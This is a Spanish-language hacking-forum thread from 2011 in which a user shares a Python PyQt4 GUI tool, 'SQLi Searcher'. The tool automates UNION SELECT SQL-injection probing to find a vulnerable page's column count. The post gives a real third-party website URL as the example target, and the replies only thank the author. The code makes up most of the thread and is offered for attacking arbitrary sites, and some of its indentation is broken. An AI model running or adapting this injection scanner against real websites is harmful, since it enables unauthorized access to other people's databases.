Underc0de

Programación Scripting => Python => Mensaje iniciado por: JaAViEr en Junio 27, 2011, 09:07:05 AM

Título: [Código-Python] SQLi Searcher QT JaAViEr
Publicado por: JaAViEr en Junio 27, 2011, 09:07:05 AM
Lo mismo de antes, pero en GUI QT:
Código (python) [Seleccionar]

# -*- coding: utf-8 -*-
import sys,urllib2
from PyQt4 import QtCore, QtGui
class mensaje(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self,parent)
    self.resize(400, 200)
    self.error = QtGui.QLineEdit('',self)
    self.setWindowTitle("SQLi Searcher JaAViEr")
    self.error.setGeometry(QtCore.QRect(40, 40, 113, 25))
    self.msjerror=QtGui.QLabel('Error:',self)
    self.msjerror.setGeometry(0, 47, 41, 16)
    self.pagina = QtGui.QLineEdit('http://',self)
    self.pagina.setGeometry(40, 10, 291, 25)
    self.textourl=QtGui.QLabel('URL:',self)
    self.textourl.setGeometry(10, 16, 31, 16)
    self.search = QtGui.QPushButton('Buscar!',self)
    self.search.setGeometry(330, 10, 61, 24)
    self.salida = QtGui.QTextBrowser(self)
    self.salida.setGeometry(0, 70, 381, 121)
    self.connect(self.search,QtCore.SIGNAL("clicked()"),self.scan)
  def scan(self):
    self.salida.setHtml('<b>Buscando...<br /></b>')
    stx=""
    i=0
    injx=""
    while 1:
      stx=stx+"%s,"%i
      w=urllib2.urlopen("%s-1+union+all+select+%s"%(str(self.pagina.text()),stx[:-1]))
      if str(self.error.text()) in w.read().lower():
print "."

      else:
  injx=stx[:-1]
  self.salida.setHtml('<font color=red><b>Encontrado!<br />-1+union+all+select+%s</b>'%injx)
  break;
      i+=1
test=QtGui.QApplication(sys.argv)
tooltip=mensaje()
tooltip.show()
test.exec_()

Ejemplo:
URL:http://www.leadacidbatteryinfo.org/newsdetail.php?id=
Error:the used select
Screen :
(http://anycode.s.gp/misubidas/sqli.png)

Saludos :D
Título: Re:[Código-Python]SQLi Searcher QT JaAViEr
Publicado por: Mavis en Junio 27, 2011, 02:35:52 PM
Veo que te sirvió el QT, y veo que has conseguido instalarlo.

Felicitaciones!
Título: Re:[Código-Python]SQLi Searcher QT JaAViEr
Publicado por: Comandante Linux en Junio 27, 2011, 02:50:35 PM
Muchas gracias JaAViEr.
Muy bueno.